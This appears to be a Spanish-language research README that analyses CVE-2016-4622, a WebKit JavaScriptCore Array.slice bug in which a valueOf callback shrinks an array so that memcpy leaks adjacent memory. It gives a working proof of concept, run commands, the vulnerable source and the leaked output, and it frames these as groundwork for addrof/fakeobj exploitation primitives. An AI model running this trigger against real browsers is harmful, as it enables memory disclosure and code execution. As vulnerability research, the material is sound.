
Mi viaje a través del proceso de explotación de WebKit CVE-2016-4622
Análisis completo y explotación de la vulnerabilidad del núcleo JavaScript de WebKit que permite la divulgación de memoria mediante la manipulación de Array.slice
Este repositorio contiene un análisis completo de CVE-2016-4622, una vulnerabilidad crítica de divulgación de memoria en el motor JavaScript Core de WebKit. La vulnerabilidad se origina por una condición de carrera en la implementación de Array.slice() que puede ser explotada para filtrar contenidos de memoria adyacente, sirviendo como base para primitivas de explotación más sofisticadas como addrof y fakeobj.
Impacto: Divulgación de memoria que puede llevar a la ejecución remota de código
Componente Afectado: JavaScript Core de WebKit (JSC)
Causa Raíz: Vulnerabilidad de tiempo de verificación-tiempo de uso (TOCTOU) en la implementación de fastSlice
La vulnerabilidad existe en la "ruta rápida" optimizada de WebKit para el método Array.slice(). Al procesar los parámetros de slice, el motor convierte los argumentos de objeto a valores primitivos llamando a su método valueOf(). Esta conversión ocurre después de determinar los parámetros de la operación slice pero antes de la operación real de copia de memoria.
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
Qué sucede:
a se crea con 100 elementosvalueOf()valueOf() malicioso reduce el array a longitud 0memcpy intenta copiar 10 elementos de un array vacíoWebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
Binarios: Binarios JSC precompilados construidos en VMWare OSX 10.11 con XCode 7.3.2 Arquitectura: Ejecutables x86_64 Mach-O Características de Depuración: Símbolos + AddressSanitizer para un análisis completo
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
El método Array.slice(begin, end) crea una copia superficial de una porción de un array. En circunstancias normales:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
Punto clave: El parámetro end sufre una conversión de tipo mediante valueOf(), creando una ventana para la explotación.
Cuando se activa la vulnerabilidad, AddressSanitizer captura este flujo de llamadas:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - Punto de EntradaUbicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - El Desencadenante de la ConversiónUbicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
La Condición de Carrera:
{valueOf: function() { a.length = 0; return 10; }}value.toInteger(exec) llama a nuestro valueOf() maliciosofastSlice() - Donde Ocurre la Corrupción de MemoriaUbicación: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
La Corrupción de Memoria:
startIndex = 0, count = 10valueOf())memcpy lee 10 JSValues comenzando desde el índice 0Fase de Configuración
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
Fase de Disparo
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
Fase de Explotación
valueOf()fastSlice intenta copiar 10 elementos del array vacíoResultado
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
Esta vulnerabilidad sirve como base para:
addrof/fakeobjEstrategias de Mitigación:
memcpy320b1fc3f6fCronología de Investigación: 11-12 de abril de 2020
Estado: Análisis Completado ✅
Próximos Pasos: Desarrollo de la cadena de explotación completa con primitivas addrof/fakeobj
| Componente | Problema | Impacto |
|---|
| Procesamiento de Parámetros | TOCTOU en argumentClampedIndexFromStartOrEnd | Permite la modificación del estado durante el procesamiento |
| Lógica de Ruta Rápida | Validación insuficiente en fastSlice | Omite la verificación de límites |
| Operaciones de Memoria | memcpy sin verificación en la copia del array | Divulgación directa de memoria |